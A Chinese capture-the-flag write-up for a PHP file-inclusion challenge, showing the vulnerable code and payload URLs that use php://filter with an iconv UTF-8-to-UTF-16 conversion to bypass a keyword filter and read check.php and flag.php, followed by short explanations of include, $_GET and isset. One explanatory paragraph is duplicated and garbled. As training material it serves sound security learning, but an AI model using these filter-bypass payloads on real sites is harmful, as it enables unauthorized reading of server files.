攻防世界web第三题file_include

php 复制代码
<?php
highlight_file(__FILE__);
    include("./check.php");
    if(isset($_GET['filename'])){
        $filename  = $_GET['filename'];
        include($filename);
    }
?>

这是题目

惯例:

代码审查:

1.可以看到include("./check.php");猜测是同级目录下有一个check.php文件用于过滤之类的

  1. if(isset($_GET['filename'])){ $filename = $_GET['filename']; include($filename); }

判断url中是否有参数名为filename的值,如果不为空,则将其赋值给$filename变量,猜测利用这一点把check.php执行出来。

测试:

发送请求构造url:http://61.147.171.105:63401/?filename=check.php

提交无反应

这时再考虑伪协议用base64编码读取

构造url: http://61.147.171.105:63401/?filename=php://filter/read=convert.base64-encode/resource=./check.php

再次提交,显示dont hack!

到这里,可以证明我们的思路基本正确,关键信息大概率在check.php文件中,我们再考虑如何绕过读取真正的信息。

猜测是由于编码格式的问题,我们换最常用的utf-8和utf-16编码格式读

构造url: http://61.147.171.105:63401/?filename=php://filter/convert.iconv.utf8.utf16/resource=./check.php

提交得到

根据输出的内容可以看到是过滤"be,encode"等字段,到这里,说明我们已经能成功访问check.php了。而这里并没有flag,那我们猜测还有另一个flag.php文件,测试一下

构造url:

http://61.147.171.105:63401/?filename=php://filter/convert.iconv.utf8.utf16/resource=./flag.php

提交得到

成功拿到flag

总结:1.要能读懂代码

2.要会PHP:filter协议

知识点:

1.php://filter

PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

参考这个:这个

2.$_GET变量
G E T 是 P H P 中的一个预定义超全局变量,专门用于收集通过 H T T P G E T 方法传递的参数 1 。这个变量允许开发者轻松地从 U R L 查询字符串中提取信息,使得在不同页面之间传递数据变得简单高效。由于其特殊性质, _GET 是PHP中的一个预定义 超全局变量 ,专门用于收集通过HTTP GET方法传递的参数1。这个变量允许开发者轻松地从URL查询字符串中提取信息,使得在不同页面之间传递数据变得简单高效。由于其特殊性质, GET是PHP中的一个预定义超全局变量,专门用于收集通过HTTPGET方法传递的参数1。这个变量允许开发者轻松地从URL查询字符串中提取信息,使得在不同页面之间传递数据变得简单高效。由于其特殊性质,_GET在整个脚本执行期间都可用,无需显式声明,这大大简化了Web应用程序中数据处理的过程。

3.isset函数

4.include 和 require 是PHP中用于在当前文件中包含(或插入)另一个文件内容的两个语句。它们的主要目的是代码复用,通过包含(或引用)外部文件的方式,使得PHP代码更加模块化和易于管理。然而,尽管它们的目标相似,但在处理包含文件失败时的行为上有所不同,相当于Java中的import。

include:当使用include语句时,如果指定的文件不存在或路径错误,PHP会发出一个警告(E_WARNING),但脚本会继续执行。这意呀着,如果你的页面依赖于被包含文件中的内容(比如函数定义、类定义或变量初始化),而该文件未被成功包含,那么页面可能会显示不完整或功能异常,但用户仍然可以看到页面。

相关推荐
华玥作者11 小时前
[特殊字符] VitePress 对接 Algolia AI 问答(DocSearch + AI Search)完整实战(下)
前端·人工智能·ai
Mr Xu_11 小时前
告别冗长 switch-case:Vue 项目中基于映射表的优雅路由数据匹配方案
前端·javascript·vue.js
前端摸鱼匠11 小时前
Vue 3 的toRefs保持响应性:讲解toRefs在解构响应式对象时的作用
前端·javascript·vue.js·前端框架·ecmascript
lang2015092812 小时前
JSR-340 :高性能Web开发新标准
java·前端·servlet
好家伙VCC12 小时前
### WebRTC技术:实时通信的革新与实现####webRTC(Web Real-TimeComm
java·前端·python·webrtc
未来之窗软件服务13 小时前
未来之窗昭和仙君(六十五)Vue与跨地区多部门开发—东方仙盟练气
前端·javascript·vue.js·仙盟创梦ide·东方仙盟·昭和仙君
嘿起屁儿整13 小时前
面试点(网络层面)
前端·网络
VT.馒头13 小时前
【力扣】2721. 并行执行异步函数
前端·javascript·算法·leetcode·typescript
phltxy14 小时前
Vue 核心特性实战指南:指令、样式绑定、计算属性与侦听器
前端·javascript·vue.js
Byron070715 小时前
Vue 中使用 Tiptap 富文本编辑器的完整指南
前端·javascript·vue.js